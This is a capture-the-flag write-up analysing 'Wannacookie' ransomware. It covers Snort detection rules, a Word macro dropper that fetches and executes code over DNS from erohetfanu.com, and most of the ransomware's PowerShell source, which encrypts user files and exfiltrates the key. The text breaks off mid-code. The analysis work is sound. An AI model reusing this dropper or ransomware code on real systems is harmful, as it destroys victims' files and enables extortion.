Skip to content

Objective #9: Ransomware Recovery

Problem

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.

Hints

After completing the Sleigh Bell Lottery terminal challenge, Shinny Upatree provides these hints:

Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?

Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted.

Many elves were affected, so Alabaster went to go see if he could help out.

I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.

An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.

He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.

Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!

Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.

Perhaps there is a flaw in the wannacookie author's DNS server that we can manipulate to retrieve what we need.

If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.

Alabaster also provides a hint about public/private key encryption:

wannacookie.min.ps1? I wonder if there is a non-minified version? If so, it may be easier to read and give us more information and maybe source comments?

Alabaster also provides a hint about Memory Strings:

Pulling strings from a memory dump using the linux strings command requires you specify the -e option with the specific format required by the OS and processor. Of course, you could also use powerdump https://github.com/chrisjd20/power_dump.

Alabaster also provides a hint about Malware Kill Switches:

I think I remember reading an article recently about Ransomware Kill Switchs https://www.wired.com/2017/05/accidental-kill-switch-slowed-fridays-massive-ransomware-attack/. Wouldn't it be nice if our ransomware had one!

Alabaster also provides a hint about Dropper Download:

Word docm macros can be extracted using olevba https://github.com/decalage2/oletools/wiki/olevba. Perhaps we can use this to grab the ransomware source.

Alabaster mentions a KringleCon talk by Chris Davis called "Analyzing Powershell Malware".

Part 1: Catch the Malware

Problem

Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.

  _  __     _             _       _____          _   _      
 | |/ /    (_)           | |     / ____|        | | | |     
 | ' / _ __ _ _ __   __ _| | ___| |     __ _ ___| |_| | ___ 
 |  < | '__| | '_ \ / _` | |/ _ \ |    / _` / __| __| |/ _ \
 | . \| |  | | | | | (_| | |  __/ |___| (_| \__ \ |_| |  __/
 |_|\_\_|  |_|_|_|_|\__, |_|\___|\_____\__,_|___/\__|_|\___|
             / ____| __/ |          | |                     
            | (___  |___/  ___  _ __| |_                    
             \___ \| '_ \ / _ \| '__| __|                   
             ____) | | | | (_) | |  | |_                    
            |_____/|_|_|_|\___/|_|_  \__|                   
               |_   _|  __ \ / ____|                        
                 | | | |  | | (___                          
         _____   | | | |  | |\___ \        __               
        / ____| _| |_| |__| |____) |      /_ |              
       | (___  |_____|_____/|_____/ _ __   | |              
        \___ \ / _ \ '_ \/ __|/ _ \| '__|  | |              
        ____) |  __/ | | \__ \ (_) | |     | |              
       |_____/ \___|_| |_|___/\___/|_|     |_|              
============================================================
INTRO:
  Kringle Castle is currently under attacked by new piece of
  ransomware that is encrypting all the elves files. Your 
  job is to configure snort to alert on ONLY the bad 
  ransomware traffic.
GOAL:
  Create a snort rule that will alert ONLY on bad ransomware
  traffic by adding it to snorts /etc/snort/rules/local.rules
  file. DNS traffic is constantly updated to snort.log.pcap
COMPLETION:
  Successfully create a snort rule that matches ONLY
  bad DNS traffic and NOT legitimate user traffic and the 
  system will notify you of your success.

  Check out ~/more_info.txt for additional information.

elf@c67a3267484a:~$ cat ~/more_info.txt

MORE INFO:
  A full capture of DNS traffic for the last 30 seconds is 
  constantly updated to:
  /home/elf/snort.log.pcap

  You can also test your snort rule by running:
  snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
  This will create an alert file at ~/snort_logs/alert

  This sensor also hosts an nginx web server to access the 
  last 5 minutes worth of pcaps for offline analysis. These 
  can be viewed by logging into:
  http://snortsensor1.kringlecastle.com/

  Using the credentials:
  ----------------------
  Username | elf
  Password | onashelf
  tshark and tcpdump have also been provided on this sensor.

HINT: 
  Malware authors often user dynamic domain names and 
  IP addresses that change frequently within minutes or even 
  seconds to make detecting and block malware more difficult.
  As such, its a good idea to analyze traffic to find patterns
  and match upon these patterns instead of just IP/domains.

Solution

Following the instructions in more.info, I downloaded a pcap file from the web server and opened it in Wireshark to analyze the traffic. The packet captures show that all of the malware-related traffic contains queries and responses for DNS TXT records. They each contain a different domain name, but the hostname always contains the same string "77616E6E61636F6F6B69652E6D696E2E707331".

To isolate these packets, two rules can be used. The first detects UDP packets with destination port 53 that contain the first four bytes of the hostname. The second rule detects the response from UDP source port 53 containing the same string. To match the content of a packet, you specify the pattern in a series of hex codes for each character. 37 37 36 31 is the ascii hex equivalent of the text string 7761.

alert udp any any -> any 53 (msg:"DNS query indicating wannacookie infection"; sid:10000001; rev:001; content:"|37 37 36 31|";)
alert udp any 53 -> any any (msg:"DNS response indicating wannacookie infection"; sid:10000002; rev:001; content:"|37 37 36 31|";)

When we save these rules into the local.rules file, we recieve the message Snort is alerting on all ransomware and only the ransomware!, which completes this step of the objective.

Part 2: Identify the Domain

Problem

Using the Word docm file, identify the domain name that the malware communicates with.

Solution

Alabaster gives us a file named CHOCOLATE_CHIP_COOKIE_RECIPE.docm, which is the suspected source of the malware. Using olevba from the oletools pacakge to inspect the docm file, we find that it contains an Powershell script embedded in a macro that runs upon opening the document.

root@kali:~/hhc18# olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm
olevba 0.53.1 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm
===============================================================================
FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

+------------+-----------------+-----------------------------------------+
| Type       | Keyword         | Description                             |
+------------+-----------------+-----------------------------------------+
| AutoExec   | AutoOpen        | Runs when the Word document is opened   |
| AutoExec   | Document_Open   | Runs when the Word or Publisher         |
|            |                 | document is opened                      |
| Suspicious | Shell           | May run an executable file or a system  |
|            |                 | command                                 |
| Suspicious | powershell      | May run PowerShell commands             |
| Suspicious | ExecutionPolicy | May run PowerShell commands             |
| Suspicious | New-Object      | May create an OLE object using          |
|            |                 | PowerShell                              |
| IOC        | powershell.exe  | Executable file name                    |
+------------+-----------------+-----------------------------------------+

The payload is compressed and base64 encoded, so it's not immediately apparent what it does. To help get a better look at what's inside, we'll modify the code and allow it to run in a controlled fashion.

Caution

Always use an isolated test system to avoid an accidental infection or spread of the malware you're analyzing. If you don't have an Windows 10 test system handy, you can download a prebuilt virtual machine from Microsoft that's free to use for 90 days here: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/

The modification is pretty simple. Below, we've made the following two changes:

  1. Replace the iex function call with a $, which creates a text string out of the deobfuscated code instead of executing it.
  2. Pipe the resulting string to the host so it will be printed on the screen.

Run this modified command at a Windows Command prompt:

powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object; $(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-Host"

In the resulting output, we now see the deobfuscated code.

function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))

What does this code do?

  1. Declares a function that converts a hex-encoded string to ascii text output
  2. Defines a couple of variables, one of which is the hex-encoded text string for "wannacookie.min.ps1"
  3. Sets up a loop that iterates i times, where i is an integer value retrieved from a DNS TXT record 77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com
  4. Each time the loop executes, it retrieves data from a DNS TXT record i.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com and concatenates them together into string $h
  5. After the final iteration, the hex-encoded value of $h is decoded to its text and executed with the iex function

We can see from this that the domain name used in the malware is erohetfanu.com, which completes this part of the objective.

Part 3: Stop the Malware

Problem

Identify a way to stop the malware in its tracks!

Solution

The code we found in part 2 was only a dropper, which is essentially just malware that downloads additional malware. In order to figure out how to stop the malware, we need to see what the dropper downloaded to Alabaster's computer.

Using a similar approach as before, we'll remove the iex function from the dropper code and redirect the results to a file.

function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; $(H2A $h | Out-String) | Out-File C:\hhc18\wannacookie.min.ps1

When we execute this, the output is minified and difficult to read.

$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV,  0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor()};$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count = 0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count)} While ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close();Clear-variable -Name "key";Remove-Item $File}};function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};return $c -replace ' '};function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};function B2H {param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function ti_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if ($b1.count -eq $b2.count) {for($i=0; $i -lt $b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}};return $cont};function B2G {param([byte[]]$Data);Process {$out = [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length);$gStream.Close();return $out.ToArray()}};function G2B {param([byte[]]$Data);Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close();$SrcData.Close();[byte[]] $byteArr = $output.ToArray();return $byteArr}};function sh1([String] $String) {$SB = New-Object System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);return $(B2H $encKey)};function e_n_d {param($key, $allfiles, $make_cookie );$tcount = 12;for ( $file=0; $file -lt $allfiles.length; $file++  ) {while ($true) {$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });if ($running.Count -le $tcount) {Start-Job  -ScriptBlock {param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;break} else {Start-Sleep -m 200;continue}}}};function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings};return (H2A $h)};function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index=0;foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($chunk_index,$size));$chunk_index += $size};return $new_arr};function snd_k($enc_k) {$chunks = (s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};function wanc {$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return};if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return};$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00});$h_k = $(B2H $b_k);$k_h = $(sh1 $h_k);$p_k_e_k = (p_k_e $b_k $p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $b_k $f_c $true;Clear-variable -Name "h_k";Clear-variable -Name "b_k";$lurl = 'http://127.0.0.1:8080/';$html_c = @{'GET /'  =  $(g_o_dns (A2H "source.min.html"));'GET /close'  =  '<p>Bye!</p>'};Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type -AssemblyName System.Windows.Forms;start-process "$url" -WindowStyle Maximized;Start-sleep 2;[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;$list = New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);$list.Start();try {$close = $false;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp = $context.Response;$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey = $Req.QueryString.Item("key");if ($k_h -eq $(sh1 $akey)) {$akey = $(H2B $akey);[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $akey $f_c $false;$html = "Files have been decrypted!";$close = $true} else {$html = "Invalid Key!"}} elseif ($recvd -eq 'GET /close') {$close = $true;$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /cookie_is_paid') {$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;if ( $c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}} else {$Resp.statuscode = 404;$html = '<h1>404 Not Found</h1>'};$buffer = [Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;$Resp.OutputStream.Write($buffer, 0, $buffer.length);$Resp.Close();if ($close) {$list.Stop();return}}} finally {$list.Stop()}};wanc;

Note

To minify code means to shorten variable names and remove whitespace to make the code more compact.

We could try to clean this up manually using a Powershell code beautifier or some strategic search and replace operations, but it was hinted that there might be an unminified version of the code available. Since the string "77616E6E61636F6F6B69652E6D696E2E707331" is hex-encoded text string "wannacookie.min.ps1", what if we change it to "77616E6E61636F6F6B69652E707331" (wannacookie.ps1) and execute the code again?

function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; `
$f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com `
-Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" `
-Type TXT).strings}; $(H2A $h | Out-string) | Out-File C:\hhc18\wannacookie.ps1

This time we get a file that's much easier on human eyes.

$functions = {
    function Enc_Dec-File($key, $File, $enc_it) {
        [byte[]]$key = $key
        $Suffix = "`.wannacookie"
        [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
        [System.Int32]$KeySize = $key.Length*8
        $AESP = New-Object 'System.Security.Cryptography.AesManaged'
        $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $AESP.BlockSize = 128
        $AESP.KeySize = $KeySize
        $AESP.Key = $key
        $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)
        if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)}
        $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)
        if ($enc_it) {
            $AESP.GenerateIV()
            $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4)
            $FileSW.Write($AESP.IV, 0, $AESP.IV.Length)
            $Transform = $AESP.CreateEncryptor()
        } else {
            [Byte[]]$LenIV = New-Object Byte[] 4
            $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
            $FileSR.Read($LenIV,  0, 3) | Out-Null
            [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0)
            [Byte[]]$IV = New-Object Byte[] $LIV
            $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
            $FileSR.Read($IV, 0, $LIV) | Out-Null
            $AESP.IV = $IV
            $Transform = $AESP.CreateDecryptor()
        }
        $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
        [Int]$Count = 0
        [Int]$BlockSzBts = $AESP.BlockSize / 8
        [Byte[]]$Data = New-Object Byte[] $BlockSzBts
        Do
        {
            $Count = $FileSR.Read($Data, 0, $BlockSzBts)
            $CryptoS.Write($Data, 0, $Count)
        }
        While ($Count -gt 0)
        $CryptoS.FlushFinalBlock()
        $CryptoS.Close()
        $FileSR.Close()
        $FileSW.Close()
        Clear-variable -Name "key"
        Remove-Item $File
    }
}
function H2B {
    param($HX)
    $HX = $HX -split '(..)' | ? { $_ }
    ForEach ($value in $HX){
        [Convert]::ToInt32($value,16)
    }
}

function A2H(){
    Param($a)
    $c = ''
    $b = $a.ToCharArray();
    Foreach ($element in $b) {
        $c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
    }
    return $c -replace ' '
}

function H2A() {
    Param($a)
    $outa
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_}
    return $outa
}
function B2H {
    param($DEC)
    $tmp = ''
    ForEach ($value in $DEC){
        $a = "{0:x}" -f [Int]$value
        if ($a.length -eq 1){
            $tmp += '0' + $a
        } else {
            $tmp += $a
        }
    }
    return $tmp
}
function ti_rox {
    param($b1, $b2)
    $b1 = $(H2B $b1)
    $b2 = $(H2B $b2)
    $cont = New-Object Byte[] $b1.count
    if ($b1.count -eq $b2.count) {
        for($i=0; $i -lt $b1.count ; $i++)
        {
            $cont[$i] = $b1[$i] -bxor $b2[$i]
        }   
    }
    return $cont
}
function B2G {
    param([byte[]]$Data)
    Process {
    $out = [System.IO.MemoryStream]::new()
    $gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress)

      $gStream.Write($Data, 0, $Data.Length)
      $gStream.Close()
    return $out.ToArray()
  }

}
function G2B {
param([byte[]]$Data)
    Process {
        $SrcData = New-Object System.IO.MemoryStream( , $Data )
        $output = New-Object System.IO.MemoryStream
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress)
        $gStream.CopyTo( $output )
        $gStream.Close()
        $SrcData.Close()
        [byte[]] $byteArr = $output.ToArray()
        return $byteArr
    }
}
function Sha1([String] $String) {
    $SB = New-Object System.Text.StringBuilder
        [System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
        [Void]$SB.Append($_.ToString("x2"))
    }
    $SB.ToString()
}

function Pub_Key_Enc($key_bytes, [byte[]]$pub_bytes){
     $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2
     $cert.Import($pub_bytes)
     $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true)
     return $(B2H $encKey)
}
function enc_dec {
    param($key, $allfiles, $make_cookie )
    $tcount = 12
    for ( $file=0; $file -lt $allfiles.length; $file++  ) {
        while ($true) {
            $running = @(Get-Job | Where-Object { $_.State -eq 'Running' })
            if ($running.Count -le $tcount) {
                Start-Job  -ScriptBlock {
                    param($key, $File, $true_false)
                    try{
                        Enc_Dec-File $key $File $true_false
                    } catch {
                        $_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
                    }
                } -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions
                break
            } else {
                Start-Sleep -m 200
                continue
            }
        }
    }
}

function get_over_dns($f) {
    $h = ''
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
    }
    return (H2A $h)
}
function split_to_chunks($astring, $size=32) {
    $new_arr = @()
    $chunk_index=0
    foreach($i in 1..$($astring.length / $size)) {
        $new_arr += @($astring.substring($chunk_index,$size))
        $chunk_index += $size
    }
    return $new_arr
}
function send_key($encrypted_key) {
    $chunks = (split_to_chunks $encrypted_key )
    foreach ($j in $chunks) {
        if ($chunks.IndexOf($j) -eq 0) {
            $new_cookie = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        } else {
            $(Resolve-DnsName -Server erohetfanu.com -Name "$new_cookie.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        }
    }
    return $new_cookie
}
function wannacookie {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return} 
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
    $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
    $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
    $Hex_key = $(B2H $Byte_key)
    $Key_Hash = $(Sha1 $Hex_key)
    $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
    $cookie_id = (send_key $Pub_key_encrypted_Key)
    $date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
    [array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
    enc_dec $Byte_key $future_cookies $true
    Clear-variable -Name "Hex_key"
    Clear-variable -Name "Byte_key"
    $lurl = 'http://127.0.0.1:8080/'
    $htmlcontents = @{
        'GET /'  =  $(get_over_dns (A2H "source.min.html"))
        'GET /close'  =  '<p>Bye!</p>'
    }
    Start-Job -ScriptBlock{
        param($url)
            Start-Sleep 10
            Add-type -AssemblyName System.Windows.Forms
            start-process "$url" -WindowStyle Maximized
            Start-sleep 2
            [System.Windows.Forms.SendKeys]::SendWait("{F11}")
    } -Arg $lurl
    $listener = New-Object System.Net.HttpListener
    $listener.Prefixes.Add($lurl)
    $listener.Start()
    try {
        $close = $false
        while ($listener.IsListening) {
            $context = $listener.GetContext()
            $Req = $context.Request
            $Resp = $context.Response
            $Resp.Headers.Add("Access-Control-Allow-Origin","*")
            $received = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath
            if ($received -eq 'GET /') {
                $html = $htmlcontents[$received]
            } elseif ($received -eq 'GET /decrypt') {
                $akey = $Req.QueryString.Item("key")
                if ($Key_Hash -eq $(Sha1 $akey)) {
                    $akey = $(H2B $akey)
                    [array]$allcookies = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
                    enc_dec $akey $allcookies $false
                    $html = "Files have been decrypted!"
                    $close = $true
